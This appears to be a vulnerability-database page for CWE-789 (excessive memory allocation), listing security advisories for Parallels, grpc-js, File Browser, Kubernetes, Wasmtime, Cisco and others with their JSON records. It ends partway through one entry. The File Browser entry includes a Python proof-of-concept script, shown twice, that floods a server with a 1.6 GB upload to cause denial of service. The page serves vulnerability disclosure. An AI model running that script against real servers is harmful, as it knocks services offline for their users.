Common Weakness Enumeration

CWE-789

Allowed

Memory Allocation with Excessive Size Value

Abstraction: Variant · Status: Draft

API response cwe.mitre.org

The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.

322 vulnerabilities reference this CWE, most recent first.

GHSA-7Q2G-W2J4-JMJW

Vulnerability from github – Published: 2022-05-24 19:18 – Updated: 2022-05-24 19:18
VLAI
Details

This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop 16.1.3 (49160). An attacker must first obtain the ability to execute low-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the Toolgate component. The issue results from the lack of proper validation of user-supplied data, which can result in an uncontrolled memory allocation. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the hypervisor. Was ZDI-CAN-13544.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-34854"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-25T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop 16.1.3 (49160). An attacker must first obtain the ability to execute low-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the Toolgate component. The issue results from the lack of proper validation of user-supplied data, which can result in an uncontrolled memory allocation. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the hypervisor. Was ZDI-CAN-13544.",
  "id": "GHSA-7q2g-w2j4-jmjw",
  "modified": "2022-05-24T19:18:42Z",
  "published": "2022-05-24T19:18:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34854"
    },
    {
      "type": "WEB",
      "url": "https://kb.parallels.com/125013"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-21-937"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-7V5V-9H63-CJ86

Vulnerability from github – Published: 2024-06-10 21:38 – Updated: 2024-06-11 18:28
VLAI
Summary
@grpc/grpc-js can allocate memory for incoming messages well above configured limits
Details

Impact

There are two separate code paths in which memory can be allocated per message in excess of the grpc.max_receive_message_length channel option:

  1. If an incoming message has a size on the wire greater than the configured limit, the entire message is buffered before it is discarded.
  2. If an incoming message has a size within the limit on the wire but decompresses to a size greater than the limit, the entire message is decompressed into memory, and on the server is not discarded.

Patches

This has been patched in versions 1.10.9, 1.9.15, and 1.8.22

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@grpc/grpc-js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.10.0"
            },
            {
              "fixed": "1.10.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@grpc/grpc-js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.9.0"
            },
            {
              "fixed": "1.9.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@grpc/grpc-js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-37168"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-10T21:38:05Z",
    "nvd_published_at": "2024-06-10T22:15:12Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nThere are two separate code paths in which memory can be allocated per message in excess of the `grpc.max_receive_message_length` channel option:\n\n 1. If an incoming message has a size on the wire greater than the configured limit, the entire message is buffered before it is discarded.\n 2. If an incoming message has a size within the limit on the wire but decompresses to a size greater than the limit, the entire message is decompressed into memory, and on the server is not discarded.\n\n### Patches\n\nThis has been patched in versions 1.10.9, 1.9.15, and 1.8.22\n",
  "id": "GHSA-7v5v-9h63-cj86",
  "modified": "2024-06-11T18:28:02Z",
  "published": "2024-06-10T21:38:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/grpc/grpc-node/security/advisories/GHSA-7v5v-9h63-cj86"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37168"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grpc/grpc-node/commit/08b0422dae56467ecae1007e899efe66a8c4a650"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grpc/grpc-node/commit/674f4e351a619fd4532f84ae6dff96b8ee4e1ed3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grpc/grpc-node/commit/a8a020339c7eab1347a343a512ad17a4aea4bfdb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/grpc/grpc-node"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@grpc/grpc-js can allocate memory for incoming messages well above configured limits"
}

GHSA-7XQM-7738-642X

Vulnerability from github – Published: 2025-07-16 14:22 – Updated: 2025-07-29 23:27
VLAI
Summary
File Browser's Uncontrolled Memory Consumption vulnerability can enable DoS attack due to oversized file processing
Details

Summary

A Denial of Service (DoS) vulnerability exists in the file processing logic when reading a file on endpoint Filebrowser-Server-IP:PORT/files/{file-name} . While the server correctly handles and stores uploaded files, it attempts to load the entire content into memory during read operations without size checks or resource limits. This allows an authenticated user to upload a large file and trigger uncontrolled memory consumption on read, potentially crashing the server and making it unresponsive.

Details

The endpoint /api/resources/{file-name} accepts PUT requests with plain text file content. Uploading an extremely large file (e.g., ~1.5 GB) succeeds without issue. However, when the server attempts to open and read this file, it performs the read operation in an unbounded or inefficient way, leading to excessive memory usage.

This approach attempts to read the entire file into memory at once. For large files, this causes memory exhaustion resulting in a crash or serious performance degradation. In the filebrowser codebase, this can be due to: - Lack of memory-safe streaming or chunked reading during file processing. - Absence of validation or size limits during the read phase. - Possibly synchronous or blocking file parsing without protection.

PoC

  1. I run the project via docker (latest version, 2.38.0) using the following command found in the documentation:
docker run \
    -v filebrowser_data:/srv \
    -v filebrowser_database:/database \
    -v filebrowser_config:/config \
    -p 8080:80 \
    filebrowser/filebrowser```
  1. First login in your filebrowser and create a simple empty file eg. name it another
  2. We will add a large data into this file via PUT method on the api by running the following Python script (as an exploit PoC script)
import requests

url = "http://filebrowser-server-IP:8080/api/resources/another"
auth_token = "eyJh-auth-token-goes-here"
headers = {
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0",
    "Accept": "*/*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Referer": "http://filebrowser-server-IP:8080/files/another",
    "X-Auth": auth_token,
    "Content-Type": "text/plain;charset=UTF-8",
    "Origin": "http://filebrowser-server-IP:8080",
    "Connection": "close",
    "Priority": "u=0"
}

# Generate a very large string into a file (e.g 1.6 GB)

base = "testing data goes here\n"
repeat_count = 120_000_000  

data = base * repeat_count

print("Sending large payload...")
response = requests.put(url, headers=headers, data=data)

# Output the response
print(f"Status Code: {response.status_code}")
print("Response Body:")
print(response.text)
  1. After running this script, go back in your filebrowser dashboard and try to open the file another - try to read the content in this file. The file will open on another tab and it will hang there consuming memory and resources. The entire server will remain unresponsive until the entire file loads (takes long time)

Impact

Denial of Service

Evidence

Pasted image (4)

Pasted image (2)

Severity
7.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "versions": [
        "2.38.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53893"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-16T14:22:36Z",
    "nvd_published_at": "2025-07-15T18:15:24Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA Denial of Service (DoS) vulnerability exists in the file processing logic when reading a file on endpoint  `Filebrowser-Server-IP:PORT/files/{file-name}` . While the server correctly handles and stores uploaded files, it attempts to load the entire content into memory during read operations without size checks or resource limits. This allows an authenticated user to upload a large file and trigger uncontrolled memory consumption on read, potentially crashing the server and making it unresponsive.\n\n### Details\n\nThe endpoint ` /api/resources/{file-name}` accepts `PUT` requests with plain text file content. Uploading an extremely large file (e.g., ~1.5 GB) succeeds without issue. However, when the server attempts to open and read this file, it performs the read operation in an unbounded or inefficient way, leading to excessive memory usage.\n\nThis approach attempts to read the entire file into memory at once. For large files, this causes memory exhaustion resulting in a crash or serious performance degradation. In the filebrowser codebase, this can be due to:\n- Lack of memory-safe streaming or chunked reading during file processing.\n- Absence of validation or size limits during the read phase.\n- Possibly synchronous or blocking file parsing without protection.\n\n### PoC\n0. I run the project via docker (latest version, 2.38.0) using the following command found in the documentation:\n\n```\ndocker run \\\n    -v filebrowser_data:/srv \\\n    -v filebrowser_database:/database \\\n    -v filebrowser_config:/config \\\n    -p 8080:80 \\\n    filebrowser/filebrowser```\n```\n\n1. First login in your filebrowser and create a simple empty file eg. name it `another`\n2. We will add a large data into this file via `PUT` method on the api by running the following `Python` script (as an exploit PoC script)\n\n```python\nimport requests\n\nurl = \"http://filebrowser-server-IP:8080/api/resources/another\"\nauth_token = \"eyJh-auth-token-goes-here\"\nheaders = {\n    \"User-Agent\": \"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0\",\n    \"Accept\": \"*/*\",\n    \"Accept-Language\": \"en-US,en;q=0.5\",\n    \"Accept-Encoding\": \"gzip, deflate, br\",\n    \"Referer\": \"http://filebrowser-server-IP:8080/files/another\",\n    \"X-Auth\": auth_token,\n    \"Content-Type\": \"text/plain;charset=UTF-8\",\n    \"Origin\": \"http://filebrowser-server-IP:8080\",\n    \"Connection\": \"close\",\n    \"Priority\": \"u=0\"\n}\n\n# Generate a very large string into a file (e.g 1.6 GB)\n\nbase = \"testing data goes here\\n\"\nrepeat_count = 120_000_000  \n\ndata = base * repeat_count\n\nprint(\"Sending large payload...\")\nresponse = requests.put(url, headers=headers, data=data)\n\n# Output the response\nprint(f\"Status Code: {response.status_code}\")\nprint(\"Response Body:\")\nprint(response.text)\n```\n\n3. After running this script, go back in your filebrowser dashboard and try to open the file `another` - try to read the content in this file. The file will open on another tab and it will hang there consuming memory and resources. The entire server will remain unresponsive until the entire file loads (takes long time)\n\n\n### Impact\nDenial of Service\n\n### Evidence\n\u003cimg width=\"2191\" height=\"350\" alt=\"Pasted image (4)\" src=\"https://github.com/user-attachments/assets/98af76ad-0714-40a9-a92b-b2d4a5941ab7\" /\u003e\n\n\n\u003cimg width=\"2012\" height=\"1039\" alt=\"Pasted image (2)\" src=\"https://github.com/user-attachments/assets/d1ba3282-6c4d-4d35-81c7-87d4e0274f85\" /\u003e",
  "id": "GHSA-7xqm-7738-642x",
  "modified": "2025-07-29T23:27:20Z",
  "published": "2025-07-16T14:22:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-7xqm-7738-642x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53893"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/issues/5294"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "File Browser\u0027s Uncontrolled Memory Consumption vulnerability can enable DoS attack due to oversized file processing"
}

GHSA-82HX-W2R5-C2WQ

Vulnerability from github – Published: 2022-02-15 01:57 – Updated: 2023-09-20 22:42
VLAI
Summary
Kubernetes API Server DoS Via API Requests
Details

The Kubernetes API server component in Kubernetes versions prior to 1.15.9, 1.16.0-1.16.6, and 1.17.0-1.17.2 has been found to be vulnerable to a denial of service attack via successful API requests.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/apiserver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.15.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/apiserver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.16.0"
            },
            {
              "fixed": "0.16.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/apiserver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.17.0"
            },
            {
              "fixed": "0.17.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-8552"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-06T21:48:16Z",
    "nvd_published_at": "2020-03-27T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Kubernetes API server component in Kubernetes versions prior to 1.15.9, 1.16.0-1.16.6, and 1.17.0-1.17.2 has been found to be vulnerable to a denial of service attack via successful API requests.",
  "id": "GHSA-82hx-w2r5-c2wq",
  "modified": "2023-09-20T22:42:48Z",
  "published": "2022-02-15T01:57:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8552"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/issues/89378"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/pull/87669"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/commit/5978856c4c7f10737a11c9540fe60b8475beecbb"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/forum/#!topic/kubernetes-security-announce/2UOlsba2g0s"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3SOCLOPTSYABTE4CLTSPDIFE6ZZZR4LX"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20200413-0003"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kubernetes API Server DoS Via API Requests"
}

GHSA-83FV-4G7P-RCP3

Vulnerability from github – Published: 2026-07-08 15:32 – Updated: 2026-07-08 15:32
VLAI
Details

Tanium addressed a denial of service vulnerability in Tanium Server.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-15053"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-08T14:16:56Z",
    "severity": "HIGH"
  },
  "details": "Tanium addressed a denial of service vulnerability in Tanium Server.",
  "id": "GHSA-83fv-4g7p-rcp3",
  "modified": "2026-07-08T15:32:00Z",
  "published": "2026-07-08T15:32:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15053"
    },
    {
      "type": "WEB",
      "url": "https://security.tanium.com/TAN-2026-016"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-852M-CVVP-9P4W

Vulnerability from github – Published: 2026-02-24 20:47 – Updated: 2026-02-27 20:25
VLAI
Summary
Wasmtime WASI implementations are vulnerable to guest-controlled resource exhaustion
Details

Impact

Wasmtime's implementation of WASI host interfaces are susceptible to guest-controlled resource exhaustion on the host. Wasmtime did not appropriately place limits on resource allocations requested by the guests. This serves as a Denial of Service vector where a guest can induce a range of crashing behaviors on the host such as:

  • Allocating arbitrarily large amounts of host memory.
  • Causing an allocation failure on the host, which in Rust defaults to aborting the process.
  • Causing a panic on the host due to over-large allocations being performed.
  • Cause degredation in performance of the host by holding excessive host memory alive.

Wasmtime's security bug policy considers all of these behaviors a security vulnerability. Wasmtime's implementation of WASI has a number of different ways that resource exhaustion could happen, and fixing any one of them is insufficient from solving this vulnerability. A number of individual issues are grouped within this advisory and as a whole represent the known ways that guests can exhaust resources on the host.

An example of guest-controlled resource exhaustion within Wasmtime's implementation of WASI is guests could repeatedly allocate handles to themselves without limit. Some APIs also caused the host to perform a guest-controlled-sized allocation of a buffer on the host for I/O operations. Other APIs could force the host to buffer arbitrary amounts of data for the guest. Finally the guest could hand arbitrarily large allocations from itself to the host which could cause the host to perform an arbitrarily sized copy of memory which in some situations could result in quadratically sized allocations.

Wasmtime's implementations of WASIp1 and WASIp2 are affected by this vulnerability. Any host API modeled with the Component Model (or WIT) which operates on a string or list<T> type is also affected. Not all WIT and WASI APIs are affected by this issue, but that's more of an exception so it's recommended for all embedders to consider themselves affected.

To address this issue a number of mitigations are being applied to limit the behavior of a guest in WASI. All of these mitigations manifest in the form of a limit of some kind applied to various situations, and as such all of these mitigations are backwards-incompatible as they run the risk of breaking preexisting programs. To address this all backports to previous stable releases have these limits tuned to overly-large values. This ensures that preexisting guests do not break while still providing embedders the knobs to prevent this DoS vector as well. The limits added to Wasmtime are:

  • -Smax-resources=N or ResourceTable::set_max_capacity - the maximum number of resources that a guest is allowed to allocate for itself.
  • -Shostcall-fuel=N or Store::set_hostcall_fuel - the maximum amount of data that the guest may copy to the host in a single function call.
  • -Smax-random-size=N or WasiCtxBuilder::max_random_size - the maximum size of the return value of get-random-bytes and get-insecure-random-bytes in the wasi:random implementations.
  • -Smax-http-fields-size=N or WasiHttpCtx::set_max_fields_size - the maximum size of headers for an HTTP request/response.

These settings are equally applicable to both WASIp1 and WASIp2. Wasmtime 41.0.x and prior previously did not limit these settings and the knobs being released are set to very large values by default to avoid any breaking behavior. Embedders will need to proactively tune these knobs as appropriate for their embeddings. The default settings in the unreleased Wasmtime 42.0.0 are 1M for max resources, 128MiB for hostcall fuel, 64MiB for max-random-size, and 32KiB for http fields size. Tuning is not expected for Wasmtime 42.0.0+.

Hosts/embedders affected by this issue are encouraged to audit and double-check their own host APIs they have implemented to see whether they are affected by this issue as well. The -Shostcall-fuel setting is intended to be a relatively coarse fix for many possible issues by limiting the amount of data for all host APIs at once, so many embedders may not need to take further action beyond updating Wasmtime and configuring it appropriately (if not updating to 42.0.0). Embedders should audit to see, however, if the guest is able to force the host to allocate on its behalf and ensure that the allocation is limited or tracked somehow.

Patches

Wasmtime 24.0.6, 36.0.6, 40.0.4, 41.0.4, and 42.0.0 have all been released with the fix for this issue. These versions do not prevent this issue in their default configuration to avoid breaking preexisting behaviors. All versions of Wasmtime have appropriate knobs to prevent this behavior, and Wasmtime 42.0.0-and-later will have these knobs tuned by default to prevent this issue from happening.

Workarounds

There are no known workarounds for this issue without upgrading. Embedders are recommended to upgrade and configure their embeddings as necessary to prevent possibly-malicious guests from triggering this issue.

Resources

Severity
5.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "wasmtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "24.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "wasmtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "25.0.0"
            },
            {
              "fixed": "36.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "wasmtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "37.0.0"
            },
            {
              "fixed": "40.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27204"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770",
      "CWE-774",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-24T20:47:08Z",
    "nvd_published_at": "2026-02-24T22:16:32Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nWasmtime\u0027s implementation of WASI host interfaces are susceptible to guest-controlled resource exhaustion on the host. Wasmtime did not appropriately place limits on resource allocations requested by the guests. This serves as a Denial of Service vector where a guest can induce a range of crashing behaviors on the host such as:\n\n* Allocating arbitrarily large amounts of host memory.\n* Causing an allocation failure on the host, which in Rust defaults to aborting the process.\n* Causing a panic on the host due to over-large allocations being performed.\n* Cause degredation in performance of the host by holding excessive host memory alive.\n\nWasmtime\u0027s [security bug policy](https://docs.wasmtime.dev/security-what-is-considered-a-security-vulnerability.html) considers all of these behaviors a security vulnerability. Wasmtime\u0027s implementation of WASI has a number of different ways that resource exhaustion could happen, and fixing any one of them is insufficient from solving this vulnerability. A number of individual issues are grouped within this advisory and as a whole represent the known ways that guests can exhaust resources on the host.\n\nAn example of guest-controlled resource exhaustion within Wasmtime\u0027s implementation of WASI is guests could repeatedly allocate handles to themselves without limit. Some APIs also caused the host to perform a guest-controlled-sized allocation of a buffer on the host for I/O operations. Other APIs could force the host to buffer arbitrary amounts of data for the guest. Finally the guest could hand arbitrarily large allocations from itself to the host which could cause the host to perform an arbitrarily sized copy of memory which in some situations could result in quadratically sized allocations.\n\nWasmtime\u0027s implementations of WASIp1 and WASIp2 are affected by this vulnerability. Any host API modeled with the Component Model (or WIT) which operates on a `string` or `list\u003cT\u003e` type is also affected. Not all WIT and WASI APIs are affected by this issue, but that\u0027s more of an exception so it\u0027s recommended for all embedders to consider themselves affected.\n\nTo address this issue a number of mitigations are being applied to limit the behavior of a guest in WASI. All of these mitigations manifest in the form of a limit of some kind applied to various situations, and as such all of these mitigations are backwards-incompatible as they run the risk of breaking preexisting programs. To address this all backports to previous stable releases have these limits tuned to overly-large values. This ensures that preexisting guests do not break while still providing embedders the knobs to prevent this DoS vector as well. The limits added to Wasmtime are:\n\n* `-Smax-resources=N` or `ResourceTable::set_max_capacity` - the maximum number of resources that a guest is allowed to allocate for itself.\n* `-Shostcall-fuel=N` or `Store::set_hostcall_fuel` - the maximum amount of data that the guest may copy to the host in a single function call.\n* `-Smax-random-size=N` or `WasiCtxBuilder::max_random_size` - the maximum size of the return value of `get-random-bytes` and `get-insecure-random-bytes` in the `wasi:random` implementations.\n* `-Smax-http-fields-size=N` or `WasiHttpCtx::set_max_fields_size` - the maximum size of headers for an HTTP request/response.\n\nThese settings are equally applicable to both WASIp1 and WASIp2. Wasmtime 41.0.x and prior previously did not limit these settings and the knobs being released are set to very large values by default to avoid any breaking behavior. Embedders will need to proactively tune these knobs as appropriate for their embeddings. The default settings in the unreleased Wasmtime 42.0.0 are 1M for max resources, 128MiB for hostcall fuel, 64MiB for max-random-size, and 32KiB for http fields size. Tuning is not expected for Wasmtime 42.0.0+.\n\nHosts/embedders affected by this issue are encouraged to audit and double-check their own host APIs they have implemented to see whether they are affected by this issue as well. The `-Shostcall-fuel` setting is intended to be a relatively coarse fix for many possible issues by limiting the amount of data for all host APIs at once, so many embedders may not need to take further action beyond updating Wasmtime and configuring it appropriately (if not updating to 42.0.0). Embedders should audit to see, however, if the guest is able to force the host to allocate on its behalf and ensure that the allocation is limited or tracked somehow.\n\n### Patches\n\nWasmtime 24.0.6, 36.0.6, 40.0.4, 41.0.4, and 42.0.0 have all been released with the fix for this issue. These versions do not prevent this issue in their default configuration to avoid breaking preexisting behaviors. All versions of Wasmtime have appropriate knobs to prevent this behavior, and Wasmtime 42.0.0-and-later will have these knobs tuned by default to prevent this issue from happening.\n\n### Workarounds\n\nThere are no known workarounds for this issue without upgrading. Embedders are recommended to upgrade and configure their embeddings as necessary to prevent possibly-malicious guests from triggering this issue.\n\n### Resources\n\n* [`Store::set_hostcall_fuel`](https://docs.rs/wasmtime/latest/wasmtime/struct.Store.html#method.set_hostcall_fuel)\n* [`ResourceTable::set_max_capacity`](https://docs.rs/wasmtime/latest/wasmtime/component/struct.ResourceTable.html#method.set_max_capacity)\n* [`WasiCtxBuilder::max_random_size`](https://docs.rs/wasmtime-wasi/latest/wasmtime_wasi/struct.WasiCtxBuilder.html#method.max_random_size)\n* [Original PR showing resource exhaustion](https://github.com/bytecodealliance/wasmtime/pull/12599)\n* [Issue about limiting max resource handles per-guest](https://github.com/bytecodealliance/wasmtime/issues/11552)",
  "id": "GHSA-852m-cvvp-9p4w",
  "modified": "2026-02-27T20:25:10Z",
  "published": "2026-02-24T20:47:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-852m-cvvp-9p4w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27204"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bytecodealliance/wasmtime/issues/11552"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bytecodealliance/wasmtime/pull/12599"
    },
    {
      "type": "WEB",
      "url": "https://docs.rs/wasmtime-wasi/latest/wasmtime_wasi/struct.WasiCtxBuilder.html#method.max_random_size"
    },
    {
      "type": "WEB",
      "url": "https://docs.rs/wasmtime/latest/wasmtime/component/struct.ResourceTable.html#method.set_max_capacity"
    },
    {
      "type": "WEB",
      "url": "https://docs.rs/wasmtime/latest/wasmtime/struct.Store.html#method.set_hostcall_fuel"
    },
    {
      "type": "WEB",
      "url": "https://docs.wasmtime.dev/security-what-is-considered-a-security-vulnerability.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bytecodealliance/wasmtime"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0020.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Wasmtime WASI implementations are vulnerable to guest-controlled resource exhaustion"
}

GHSA-8937-GCF5-34XQ

Vulnerability from github – Published: 2023-06-28 15:30 – Updated: 2023-06-28 15:30
VLAI
Details

A vulnerability in the XCP Authentication Service of the Cisco Unified Communications Manager IM & Presence Service (Unified CM IM&P) could allow an unauthenticated, remote attacker to cause a temporary service outage for all Cisco Unified CM IM&P users who are attempting to authenticate to the service, resulting in a denial of service (DoS) condition. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted login message to the affected device. A successful exploit could allow the attacker to cause an unexpected restart of the authentication service, preventing new users from successfully authenticating. Exploitation of this vulnerability does not impact Cisco Unified CM IM&P users who were authenticated prior to an attack.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-20108"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-28T15:15:09Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the XCP Authentication Service of the Cisco Unified Communications Manager IM \u0026amp; Presence Service (Unified CM IM\u0026amp;P) could allow an unauthenticated, remote attacker to cause a temporary service outage for all Cisco Unified CM IM\u0026amp;P users who are attempting to authenticate to the service, resulting in a denial of service (DoS) condition. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted login message to the affected device. A successful exploit could allow the attacker to cause an unexpected restart of the authentication service, preventing new users from successfully authenticating. Exploitation of this vulnerability does not impact Cisco Unified CM IM\u0026amp;P users who were authenticated prior to an attack.",
  "id": "GHSA-8937-gcf5-34xq",
  "modified": "2023-06-28T15:30:23Z",
  "published": "2023-06-28T15:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20108"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-imp-dos-49GL7rzT"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8MXM-4GJM-VRC7

Vulnerability from github – Published: 2024-02-13 15:31 – Updated: 2024-05-03 15:30
VLAI
Details

